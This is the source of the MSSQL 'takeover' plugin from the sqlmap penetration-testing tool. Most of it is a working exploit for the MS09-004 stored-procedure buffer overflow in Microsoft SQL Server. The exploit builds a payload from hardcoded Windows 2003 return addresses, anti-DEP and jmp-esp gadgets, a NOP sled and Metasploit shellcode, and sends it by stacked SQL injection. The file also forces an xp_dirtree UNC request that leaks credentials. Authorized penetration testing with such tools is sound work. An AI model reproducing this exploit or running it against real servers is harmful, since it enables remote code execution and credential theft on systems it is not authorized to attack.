Path: blob/master/plugins/dbms/mssqlserver/takeover.py
2992 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67import binascii89from lib.core.common import Backend10from lib.core.compat import xrange11from lib.core.convert import getBytes12from lib.core.data import logger13from lib.core.exception import SqlmapUnsupportedFeatureException14from lib.request import inject15from plugins.generic.takeover import Takeover as GenericTakeover1617class Takeover(GenericTakeover):18def __init__(self):19self.spExploit = ""2021GenericTakeover.__init__(self)2223def uncPathRequest(self):24# inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)25inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)2627def spHeapOverflow(self):28"""29References:30* https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-00431* https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co32"""3334returns = {35# 2003 Service Pack 036"2003-0": (""),3738# 2003 Service Pack 139"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"),4041# 2003 Service Pack 2 updated at 12/200842# "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"),4344# 2003 Service Pack 2 updated at 05/200945"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),4647# 2003 Service Pack 2 updated at 09/200948# "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),49}5051addrs = None5253for versionSp, data in returns.items():54version, sp = versionSp.split("-")55sp = int(sp)5657if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp:58addrs = data5960break6162if not addrs:63errMsg = "sqlmap can not exploit the stored procedure buffer "64errMsg += "overflow because it does not have a valid return "65errMsg += "code for the underlying operating system (Windows "66errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack())67raise SqlmapUnsupportedFeatureException(errMsg)6869shellcodeChar = ""70hexStr = binascii.hexlify(getBytes(self.shellcodeString[:-1]))7172for hexPair in xrange(0, len(hexStr), 2):73shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2]7475shellcodeChar = shellcodeChar[:-1]7677self.spExploit = """DECLARE @buf NVARCHAR(4000),78@val NVARCHAR(4),79@counter INT80SET @buf = '81DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int82EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''83SET @val = CHAR(0x41)84SET @counter = 085WHILE @counter < 332086BEGIN87SET @counter = @counter + 188IF @counter = 41189BEGIN90/* pointer to call [ecx+8] */91SET @buf = @buf + %s9293/* push ebp, pop esp, ret 4 */94SET @buf = @buf + %s9596/* push ecx, pop esp, pop ebp, retn 8 */97SET @buf = @buf + %s9899/* Garbage */100SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)101102/* retn 1c */103SET @buf = @buf + %s104105/* retn 1c */106SET @buf = @buf + %s107108/* anti DEP */109SET @buf = @buf + %s110111/* jmp esp */112SET @buf = @buf + %s113114/* jmp esp */115SET @buf = @buf + %s116117SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)118SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)119SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)120SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)121SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)122SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)123124set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)125set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)126set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)127128/* Metasploit shellcode */129SET @buf = @buf + %s130131SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)132SET @counter = @counter + 302133SET @val = CHAR(0x43)134CONTINUE135END136SET @buf = @buf + @val137END138SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''139EXEC master..sp_executesql @buf140""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)141142self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")143144logger.info("triggering the buffer overflow vulnerability, please wait..")145inject.goStacked(self.spExploit, silent=True)146147148